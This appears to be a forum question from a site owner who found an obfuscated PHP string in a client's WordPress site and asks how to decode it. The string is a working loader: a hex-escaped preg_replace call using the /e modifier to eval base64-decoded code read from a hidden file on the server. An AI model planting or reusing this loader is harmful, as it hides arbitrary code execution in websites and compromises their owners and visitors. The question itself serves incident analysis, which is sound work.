I found an offending string in a client's WordPress-powered website, and I just want to know what it does.

@preg_replace("\x40\50\x2e\53\x29\100\x69\145","\x65\166\x61\154\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\151\x6d\160\x6c\157\x64\145\x28\42\x5c\156\x22\54\x66\151\x6c\145\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x5c\61\x22\51\x29\51\x29\51\x3b","\x4c\62\x68\166\x62\127\x55\166\x64\62\x56\151\x4c\63\x56\172\x5a\130\x4a\172\x4c\172\x49\167\x4d\152\x6b\165\x59\155\x6c\156\x4e\151\x39\172\x61\130\x52\154\x63\171\x39\151\x61\127\x63\62\x4c\63\x42\61\x59\155\x78\160\x59\61\x39\157\x64\107\x31\163\x4c\62\x5a\166\x63\156\x56\164\x4c\62\x4a\151\x4c\127\x6c\165\x59\62\x78\61\x5a\107\x56\172\x4c\62\x70\172\x4c\62\x70\170\x64\127\x56\171\x65\123\x38\165\x59\62\x46\152\x61\107\x55\166\x4c\151\x55\64\x4d\152\x68\106\x4a\124\x41\167\x4d\124\x4d\154\x51\152\x68\107\x4d\171\x56\103\x51\172\x46\103\x4a\125\x49\171\x4d\153\x49\154\x4e\105\x59\61\x4e\167\x3d\75");

Can someone outline the steps it takes to decode this? I know what preg_replace() is, but I don't know how to decode the arguments to the function, or how PHP processes it into something it can make use of.